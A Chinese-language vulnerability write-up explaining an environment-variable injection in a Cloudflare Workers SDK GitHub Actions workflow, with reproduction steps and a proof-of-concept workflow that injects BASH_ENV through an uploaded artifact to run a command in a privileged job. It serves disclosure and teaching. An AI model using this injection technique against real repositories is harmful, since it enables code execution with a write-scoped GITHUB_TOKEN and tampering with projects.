什么是环境变量注入漏洞?
环境变量注入漏洞是一种安全漏洞,攻击者可以通过修改环境变量来执行任意代码或泄露敏感信息。 在 Cloudflare Workers SDK 的工作流程文件 write-prerelease-comment.yml
中,存在一个环境变量注入的问题。攻击者可以通过修改上传的文件内容,向 GitHub 环境中注入新的环境变量(例如 BASH_ENV
),从而在后续步骤中执行任意代码。
漏洞工作原理
-
触发机制
-
当一个名为"Create Pull Request Prerelease"的工作流程结束时,会触发
write-prerelease-comment.yml
工作流程。 -
此工作流程通过条件判断:
iniif: ${{ github.repository_owner == 'cloudflare' }}
但在工作流程运行时,这个条件总为真,因为它运行在默认分支的上下文中,起不到保护作用。
-
-
下载并设置环境变量
-
工作流程会下载触发流程上传的工件文件
runtime-versions.md
。 -
然后通过如下代码将文件内容写入环境变量中:
bash{ echo 'RUNTIME_VERSIONS<<EOF' cat runtime-versions.md echo EOF } >> "$GITHUB_ENV"
-
如果工件文件中包含恶意内容(比如带有换行符的新环境变量定义),就可能注入恶意变量,例如
BASH_ENV
。这样,当后续步骤运行 shell 命令时,恶意代码就会被执行。
-
复现步骤及示例代码
以下步骤和示例代码展示如何复现该漏洞(请在实验环境中操作,不建议在生产环境中测试):
-
Fork 和克隆仓库
bash# Fork cloudflare/workers-sdk 后,克隆你的 Fork gh repo clone your-username/workers-sdk cd workers-sdk
-
新建分支
cssgit checkout -b poc
-
修改工作流程文件
修改
.github/workflows/create-pullrequest-prerelease.yml
文件,内容示例如下:yamlname: Create Pull Request Prerelease on: pull_request: jobs: test: runs-on: ubuntu-latest steps: - name: 生成 runtime-versions.md 文件 run: | cat << 'EOF2' > runtime-versions.md FOO EOF2 # 注入环境变量示例:将 BASH_ENV 设置为执行 id 命令的输出 echo "BASH_ENV<<EOF3" >> runtime-versions.md echo "$(id 1>&2)" >> runtime-versions.md echo "EOF3" >> runtime-versions.md - name: 显示 runtime-versions.md 文件内容 run: cat runtime-versions.md - name: 上传工件文件 uses: actions/upload-artifact@v3 with: name: runtime-versions.md path: runtime-versions.md
-
提交更改并创建 Pull Request
sqlgit add . git commit -m "添加恶意 Payload 演示" git push origin poc
然后在 GitHub 上从 poc 分支创建一个 Pull Request。
-
观察执行结果
-
等待 "Create Pull Request Prerelease" 流程执行完毕后,检查后续的 "Write prerelease comment" 流程。
-
在 "Put runtime versions on the environment" 这一步骤中,如果文件中注入的
BASH_ENV
成功,输出中将显示类似如下的内容:scssuid=1001(runner) gid=127(docker) groups=127(docker),4(adm),101(systemd-journal)
-
安全影响
由于该工作流程使用的 GITHUB_TOKEN 权限非常高,包括写入仓库内容等权限。详细权限如下:
- Actions: write
- Attestations: write
- Checks: write
- Contents: write
- Deployments: write
- Discussions: write
- Issues: write
- Metadata: read
- Packages: write
- Pages: write
- PullRequests: write
- RepositoryProjects: write
- SecurityEvents: write
- Statuses: write
如果攻击者成功注入恶意代码,就可能利用这些高权限进行进一步的攻击,如修改代码、创建恶意分支等。
总结
- 问题核心 :环境变量注入漏洞允许攻击者通过上传恶意构造的文件,利用工作流程中不严格的验证将恶意环境变量写入
$GITHUB_ENV
中,从而执行任意代码。 - 复现关键:通过修改触发工作流程上传的工件文件内容,注入带有换行符的恶意变量定义(如 BASH_ENV)。
- 安全风险:攻击者可以利用高权限的 GITHUB_TOKEN 执行恶意操作,影响仓库安全。
通过以上解释和示例代码,希望能帮助大家更好地理解该漏洞的原理和风险,并引起对自动化工作流程中环境变量处理的重视。